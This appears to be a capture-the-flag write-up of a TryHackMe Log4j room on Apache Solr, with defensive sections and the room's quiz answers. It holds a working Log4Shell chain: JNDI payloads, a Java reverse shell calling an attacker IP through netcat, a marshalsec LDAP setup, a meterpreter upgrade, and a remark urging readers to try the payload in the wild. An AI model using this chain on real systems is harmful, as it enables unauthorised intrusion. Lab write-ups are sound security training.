Introduction

People in the infosec industry all know how far-reached and critical the log4j vulnerability is, given the past exhausted, unrest December.

To summarize it all by memes, it would be this:

And this:

And more of these hilarious, evocative memes in this blog post. :D

Well in short:

Equipped with all these knowledge, let’s dive into our challenge! :D

Reconnaissance

Here’s the initial nmap scan:

# Nmap 7.92 scan initiated Wed Jan  5 08:08:50 2022 as: nmap -sC -sV -oN nmap.txt 10.10.78.2
Nmap scan report for 10.10.78.2
Host is up (0.49s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e2:35:e1:4f:4e:87:45:9e:5f:2c:97:e0:da:a9:df:d5 (RSA)
|   256 b2:fd:9b:75:1c:9e:80:19:5d:13:4e:8d:a0:83:7b:f9 (ECDSA)
|_  256 75:20:0b:43:14:a9:8a:49:1a:d9:29:33:e1:b9:1a:b6 (ED25519)
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan  5 08:10:05 2022 -- 1 IP address (1 host up) scanned in 75.23 seconds

Let’s check out the first question! (@^◡^)

… Well, time to hammer the machine, then. (⊙_⊙)

$ rustscan -a 10.10.145.200                                                                                                                                                                                                                 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.                                                                                                                                                                                      
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |                                                                                                                                                                                      
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |                                                                                                                                                                                      
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'                                                                                                                                                                                      
The Modern Day Port Scanner.                                                                                                                                                                                                                  
________________________________________                                                                                                                                                                                                      
: https://discord.gg/GFrQsGy           :                                                                                                                                                                                                      
: https://github.com/RustScan/RustScan :                                                                                                                                                                                                      
 --------------------------------------                                                                                                                                                                                                       
😵 https://admin.tryhackme.com                                                                                                                                                                                                                
                                                                                                                                                                                                                                              
[~] The config file is expected to be at "/home/kali/.rustscan.toml"                                                                                                                                                                          
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers                                                                                                                           
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.                                                                                                    
Open 10.10.145.200:22                                                                                                                                                                                                                         
Open 10.10.145.200:111                                                                                                                                                                                                                        
Open 10.10.145.200:8983                                                                                                                                                                                                                       
[~] Starting Script(s)                                                                                                                                                                                                                        
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")                                                                                                                                                                                     
                                                                                                                                                                                                                                              
[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-05 21:27 EST                                                                                                                                                                           
Initiating Ping Scan at 21:27                                                                                                                                                                                                                 
Scanning 10.10.145.200 [2 ports]                                                                                                                                                                                                              
Completed Ping Scan at 21:27, 0.39s elapsed (1 total hosts)                                                                                                                                                                                   
Initiating Parallel DNS resolution of 1 host. at 21:27                                                                                                                                                                                        
Completed Parallel DNS resolution of 1 host. at 21:27, 0.01s elapsed                                                                                                                                                                          
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]                                                                                                                                              
Initiating Connect Scan at 21:27                                                                                                                                                                                                              
Scanning 10.10.145.200 [3 ports]                                                                                                                                                                                                              
Discovered open port 22/tcp on 10.10.145.200                                                                                                                                                                                                  
Discovered open port 111/tcp on 10.10.145.200                                                                                                                                                                                                 
Discovered open port 8983/tcp on 10.10.145.200                                                                                                                                                                                                
Completed Connect Scan at 21:27, 0.39s elapsed (3 total ports)

Looks like only those 3 ports are currently opening. Here’s the result of the last port scan:

$ nmap -sV -p 8983 10.10.145.200                                                                              130Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-05 21:29 EST
Nmap scan report for 10.10.145.200
Host is up (0.39s latency).

PORT     STATE SERVICE VERSION
8983/tcp open  http    Apache Solr

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.96 seconds

Discovery

Navigating to the application, we see this interface:

The task also generously provided us a sample Solr log file. You can download it here: solrlogs.zip.

Most of those files just contain the default Solr banner, but solr.log contains something weird:

...
2021-12-13 03:48:53.988 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=1
2021-12-13 03:48:54.383 INFO  (qtp1083962448-17) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:54.801 INFO  (qtp1083962448-23) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:55.144 INFO  (qtp1083962448-21) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:46.718 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={id=1337} status=0 QTime=0
2021-12-13 04:01:48.672 INFO  (qtp1083962448-16) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={id=1337} status=0 QTime=0
2021-12-13 04:01:49.304 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={id=1337} status=0 QTime=0
2021-12-13 04:01:50.401 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={id=1337} status=0 QTime=0
2021-12-13 04:01:53.944 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
...

There’s an abnormal number of INFO level log entries. They repeatedly request for /admin/cores endpoint, and some contains unique id field in params entrypoint. Here’s the result if you try to interact with it:

$ curl http://10.10.145.200:8983/solr/admin/cores
{
  "responseHeader":{
    "status":0,
    "QTime":0},
  "initFailures":{},
  "status":{}}

And a few more times:

$ curl -X POST http://10.10.145.200:8983/solr/admin/cores
{
  "responseHeader":{
    "status":0,
    "QTime":0},
  "initFailures":{},
  "status":{}}
                                                                                                                      
$ curl -X POST -d "id=1337" http://10.10.145.200:8983/solr/admin/cores
{
  "responseHeader":{
    "status":0,
    "QTime":3},
  "initFailures":{},
  "status":{}}

We can see a slight change in the response: QTime changed, which probably means our posted data was recorded, or “logged”. Now it’s time to check if this machine is vulnerable to log4j.

Proof of concept

As you may have known, the payload that set the Internet on fire is as simple as:

${jndi:ldap://EVIL_HOST_ADDRESS}

Find your address by ip a, open a netcat listener, then send your payload:

$ curl -X POST -d '${jndi:ldap://10.4.35.200:9999}' http://10.10.145.200:8983/solr/admin/cores
{
  "responseHeader":{
    "status":0,
    "QTime":0},
  "initFailures":{},
  "status":{}}
$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.4.35.200] from (UNKNOWN) [10.10.145.200] 36400

As you can see, the server readily sent back a request - it’s confirmed being vulnerable to log4j! With this simple procedure you can now go exploit log4j in the wild, just put the payload in whatever you can think of - username, User Agent, request parameters, …, finger cross and hopefully a thousand-dollar bug bounty will fall upon you. :D

Exploitation

This step called for some set up and installation, so it’s better to power off our attacking machine and take a snapshot first.

If you’re already in an “attacking environment”, like ParrotSec or Kali Linux, chances are required dependencies are already installed. You can run the commands below to automate the installing process.

#!/bin/bash

cd /tmp

sudo apt install default-jdk git maven
git clone https://github.com/mbechler/marshalsec
cd marshalsec

mvn clean package -DskipTests

Then, create a simple Java reverse shell through netcat like this:

public class Exploit {
    /img/solarlog4j {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

And then, spin up a LDAP server, a simple HTTP server, build the exploit, and open a netcat listener to wait for it.

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://YOUR.ATTACKER.IP.ADDRESS:8000/#Exploit"
python3 -m http.server
javac Exploit.java -source 8 -target 8
nc -lnvp 9999

With all that set up, the last task is to send our exploit.

curl -X POST -d '${jndi:ldap://10.4.35.200:1389/Exploit}' http://10.10.132.117:8983/solr/admin/cores

And… we got a reverse shell :D

If you want to go “further and beyond”, there’s a small optional challenge:

Challenge… accepted. :D

I recommend this tutorial. Straight to the point, if you want to get a meterpreter instead of an usual unstable reverse shell, just catch it with Metasploit multi/handler and directly upgrade it.

msf6 exploit(multi/handler) > exploit                                                                                                                                                                                                         
                                                                                                                                                                                                                                              
[*] Started reverse TCP handler on 10.4.35.200:9999                                                                                                                                                                                           
[*] Command shell session 1 opened (10.4.35.200:9999 -> 10.10.178.136:60342 ) at 2022-01-06 05:53:05 -0500                                                                                                                                    
                                                                                                                                                                                                                                              
^Z                                                                                                                                                                                                                                            
Background session 1? [y/N]  y                                                                                                                                                                                                                
msf6 exploit(multi/handler) > sessions                                                                                                                                                                                                        
                                                                                                                                                                                                                                              
Active sessions                                                                                                                                                                                                                               
===============                                                                                                                                                                                                                               
                                                                                                                                                                                                                                              
  Id  Name  Type             Information  Connection                                                                                                                                                                                          
  --  ----  ----             -----------  ----------                                                                                                                                                                                          
  1         shell sparc/bsd               10.4.35.200:9999 -> 10.10.178.136:60342  (10.10.178.136)                                                                                                                                            
                                                                                                                                                                                                                                              
msf6 exploit(multi/handler) > sessions -u 1                                                                                                                                                                                                   
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]                                                                                                                                                                     
                                                                                                                                                                                                                                              
[*] Upgrading session ID: 1                                                                                                                                                                                                                   
[*] Starting exploit/multi/handler                                                                                                                                                                                                            
[*] Started reverse TCP handler on 10.4.35.200:4433                                                                                                                                                                                           
[*] Command stager progress: 100.00% (773/773 bytes)                                                                                                                                                                                          
[*] Sending stage (984904 bytes) to 10.10.178.136                                                                                                                                                                                             
[*] Meterpreter session 2 opened (10.4.35.200:4433 -> 10.10.178.136:38424 ) at 2022-01-06 05:54:23 -0500                                                                                                                                      
[*] Stopping exploit/multi/handler

msf6 exploit(multi/handler) > sessions -i 2                                                                                                                                                                                                   
[*] Starting interaction with 2...                                                                                                                                                                                                            
                                                                                                                                                                                                                                              
meterpreter >

Persistence

As you may have noticed from the video above, this solr user can run sudo without password.

meterpreter > shell
Process 1794 created.
Channel 2 created.
sudo -l
Matching Defaults entries for solr on solar:
    env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User solr may run the following commands on solar:
    (ALL) NOPASSWD: ALL

This saved us from the hassle of dropping a backdoor ourselves. Now, let’s change the SSH password and lordly SSH in like a boss. ヾ(⌐■_■)ノ♪

Detection

This section is dedicated to sysadmins, but if you own an Internet-exposing server, you’ll definitely want to check this useful massive Reddit thread out.

Checking the affected log file again, we can see our payload proudly stood there:

solr@solar:/var/solr/logs$ tail -n 1 solr.log
2022-01-06 10:52:55.930 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={${jndi:ldap://10.4.35.200:1389/Exploit\}=} status=0 QTime=2399

And here’s the most beautiful but terrifying detection on the Internet:

(?im)(?:^|[\n]).*?(?:[\x24]|%(?:25%?)*24|\\u?0*(?:44|24))(?:[\x7b]|%(?:25%?)*7b|\\u?0*(?:7b|173))[^\n]*?((?:j|%(?:25%?)*(?:4a|6a)|\\u?0*(?:112|6a|4a|152))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))[^\n]*?((?:l|%(?:25%?)*(?:4c|6c)|\\u?0*(?:154|114|6c|4c))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?|(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:m|%(?:25%?)*(?:4d|6d)|\\u?0*(?:4d|155|115|6d))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))|(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:[^\n]*?(?:[i\x{130}\x{131}]|%(?:25%?)*(?:49|69|C4%(?:25%?)*B0|C4%(?:25%?)*B1)|\\u?0*(?:111|69|49|151|130|460|131|461))){2}[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))|(?:c|%(?:25%?)*(?:43|63)|\\u?0*(?:143|103|63|43))[^\n]*?(?:o|%(?:25%?)*(?:4f|6f)|\\u?0*(?:6f|4f|157|117))[^\n]*?(?:r|%(?:25%?)*(?:52|72)|\\u?0*(?:122|72|52|162))[^\n]*?(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))|(?:n|%(?:25%?)*(?:4e|6e)|\\u?0*(?:4e|156|116|6e))[^\n]*?(?:d|%(?:25%?)*(?:44|64)|\\u?0*(?:44|144|104|64))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))|(?:h|%(?:25%?)*(?:48|68)|\\u?0*(?:110|68|48|150))(?:[^\n]*?(?:t|%(?:25%?)*(?:54|74)|\\u?0*(?:124|74|54|164))){2}[^\n]*?(?:p|%(?:25%?)*(?:50|70)|\\u?0*(?:70|50|160|120))(?:[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163)))?)[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))|(?:b|%(?:25%?)*(?:42|62)|\\u?0*(?:102|62|42|142))[^\n]*?(?:a|%(?:25%?)*(?:41|61)|\\u?0*(?:101|61|41|141))[^\n]*?(?:[s\x{17f}]|%(?:25%?)*(?:53|73|C5%(?:25%?)*BF)|\\u?0*(?:17f|123|577|73|53|163))[^\n]*?(?:e|%(?:25%?)*(?:45|65)|\\u?0*(?:45|145|105|65))[^\n]*?(?:[\x3a]|%(?:25%?)*3a|\\u?0*(?:72|3a))(JH[s-v]|[\x2b\x2f-9A-Za-z][CSiy]R7|[\x2b\x2f-9A-Za-z]{2}[048AEIMQUYcgkosw]ke[\x2b\x2f-9w-z]))

Bypasses

Here’s a bunch of bypasses for real life scenarios.

You can also search for more exhaustive lists on Github.

Mitigation

Let’s patch the machine by changing its configuration.

solr@solar:/var/solr/logs$ find / -type f -name "solr.in.sh" 2>/dev/null
/etc/default/solr.in.sh

We just need to add this line to the /etc/default/solr.in.sh file:

SOLR_OPTS="$SOLR_OPTS -Dlog4j2.formatMsgNoLookups=true"

Then restart the service. Sending the exact same payload, we can see it doesn’t work anymore.

Answers

What service is running on port 8983? (Just the name of the software)

Apache Solr

Take a close look at the first page visible when navigating to http://MACHINE_IP:8983. You should be able to see clear indicators that log4j is in use within the application for logging activity. What is the -Dsolr.log.dir argument set to, displayed on the front page?

/var/solr/logs

One file has a significant number of INFO entries showing repeated requests to one specific URL endpoint. Which file includes contains this repeated entry? (Just the filename itself, no path needed)

solr.log

What "path" or URL endpoint is indicated in these repeated entries?

/admin/cores

Viewing these log entries, what field name indicates some data entrypoint that you as a user could control? (Just the field name)

params

What is the output of running this command? (You should leave this terminal window open as it will be actively awaiting connections)

Listening on 0.0.0.0:1389

What user are you?

solr

What is the full path of the specific solr.in.sh file?

/etc/default/solr.in.sh

Final words

And that’s an overview about the severe vulnerability that “affect almost all software under the sun”.

… Why are you still here? It’s high time patching your servers, isn’t it? <( ̄︶ ̄)>